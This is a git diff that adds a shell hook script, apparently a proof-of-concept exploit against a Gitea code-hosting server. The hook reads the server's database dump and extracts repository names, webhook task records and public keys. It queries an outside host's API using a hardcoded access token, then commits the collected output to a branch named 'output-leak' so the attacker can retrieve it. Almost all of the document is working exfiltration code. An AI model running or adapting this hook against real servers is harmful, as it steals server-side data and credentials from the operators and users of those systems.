diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..7601de9 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,18 @@ +#!/bin/sh +GD=$(git rev-parse --absolute-git-dir) +REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||') +OUT=$( { +S=/data/gitea/tmp/gd.sql; ATK='8fd95b13526161bc06fa658ea4da8b9ef6fe096b' +echo "---REPONAMES---" +for rid in 2296 2301; do R=$(grep 'INSERT INTO "repository"' $S | grep -F "VALUES ($rid,"); echo "$R" | sed -E "s/.*VALUES \($rid,[0-9]+,'([^']*)','([^']*)','([^']*)'.*/repo$rid owner=\1 lower=\2 name=\3/"; done +echo "---HOOKTASK-2---"; grep 'INSERT INTO "hook_task"' $S | grep -F 'VALUES (2,' | rev | cut -c1-650 | rev +echo; echo "---HOOKTASK-3---"; grep 'INSERT INTO "hook_task"' $S | grep -F 'VALUES (3,' | rev | cut -c1-650 | rev +echo; echo "---PUBKEYS---"; grep 'INSERT INTO "public_key"' $S | cut -c1-260 +echo "---HOOK4API---"; curl -s -m 10 -H "Authorization: token $ATK" "https://gfr.technocs.ru/git/api/v1/repos/w10019user/docs-probe/hooks" -o /tmp/h -w "%{http_code} "; head -c 400 /tmp/h; echo +echo DONE + +} 2>&1; echo "[rc=$?]") +BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin) +TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree) +CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output") +git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"